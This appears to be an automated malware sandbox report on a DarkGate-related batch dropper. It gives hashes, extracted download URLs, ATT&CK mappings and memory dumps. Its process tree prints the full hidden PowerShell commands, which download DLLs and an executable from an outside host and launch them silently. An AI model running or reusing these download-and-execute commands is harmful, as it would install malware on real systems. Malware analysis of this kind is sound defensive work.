c6a562b283c50ec4bf0a5a6bdcfb4e8449c2c9b4c0b6efe4a3dcf40f5c25a45e

Analysis

max time kernel
119s
max time network
125s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
20-08-2024 01:40

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General

Target

exe/crypted/Dakrgate 5864 startup plus rootkit/Batch file for 5864v dll crypted darkgate/update.bat
Size

6KB
MD5

97b7c88a02b2a5214d742b7ed50f4544
SHA1

15bf7dd44049b94db1a82504802ead45f6186fa0
SHA256

20c3a5b1c87627e9e016494b806273230f5023cf12d2c0e29eceecb7b8a6d3b6
SHA512

918c856e61d8b348a705227ec381a8101481ec3aaa4a1f6545b9706ebf491d311cfe716f62ab04c796333bae5df857fc67cac86760be1c67578ca1031a906b25
SSDEEP

192:GqNFRmxkyzz06ETWtd4pTunJ8ccJkBhKhgQ:Vp2kgzSTWsu6hJEhKht

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://tt.vg/download-update-dll1

exe.dropper

https://tt.vg/dlldownload2sqliuit-download

exe.dropper

https://tt.vg/download-latest-update

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
5	2628	powershell.exe
7	2628	powershell.exe
8	2628	powershell.exe
9	2628	powershell.exe
10	2628	powershell.exe
11	2628	powershell.exe
12	2628	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2628	powershell.exe
2312	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	tt.vg
5	tt.vg

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2628	powershell.exe
2312	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2708 wrote to memory of 2628	2708	cmd.exe	31
PID 2708 wrote to memory of 2628	2708	cmd.exe	31
PID 2708 wrote to memory of 2628	2708	cmd.exe	31
PID 2708 wrote to memory of 2312	2708	cmd.exe	32
PID 2708 wrote to memory of 2312	2708	cmd.exe	32
PID 2708 wrote to memory of 2312	2708	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\exe\crypted\Dakrgate 5864 startup plus rootkit\Batch file for 5864v dll crypted darkgate\update.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -Command "& {$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://tt.vg/download-update-dll1', 'C:\Users\Admin\AppData\Local\Temp\libssp-0.dll'); $wc.DownloadFile('https://tt.vg/dlldownload2sqliuit-download', 'C:\Users\Admin\AppData\Local\Temp\sqlite3.dll'); $wc.DownloadFile('https://tt.vg/download-latest-update', 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe')}"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -Command "& {Start-Process 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe' -WindowStyle Hidden}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d0b76051cf9d8f3c639c94066bf0f41f

SHA1
a9045e38032f48098a23df52dda7fd6b694b1ddc

SHA256
9482eb4042756f41ee68e6dec6a08f44b543e8c1c969928ee2a6aeeb476b1eb4

SHA512
084bc10df931ae8d277a95f9f5ae1c2a62fb13f1edec39eca31a998808f0028edd176342ae4a272098f9a9e90e344b824d87a73989882d4326d01a6219d09d30

Download Submit
memory/2312-18-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2312-19-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2628-4-0x000007FEF618E000-0x000007FEF618F000-memory.dmp

Filesize
4KB

Download
memory/2628-6-0x000007FEF5ED0000-0x000007FEF686D000-memory.dmp

Filesize
9.6MB

Download
memory/2628-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2628-7-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

Filesize
32KB

Download
memory/2628-8-0x000007FEF5ED0000-0x000007FEF686D000-memory.dmp

Filesize
9.6MB

Download
memory/2628-9-0x000007FEF5ED0000-0x000007FEF686D000-memory.dmp

Filesize
9.6MB

Download
memory/2628-10-0x000007FEF5ED0000-0x000007FEF686D000-memory.dmp

Filesize
9.6MB

Download
memory/2628-11-0x000007FEF5ED0000-0x000007FEF686D000-memory.dmp

Filesize
9.6MB

Download
memory/2628-12-0x000007FEF5ED0000-0x000007FEF686D000-memory.dmp

Filesize
9.6MB

Download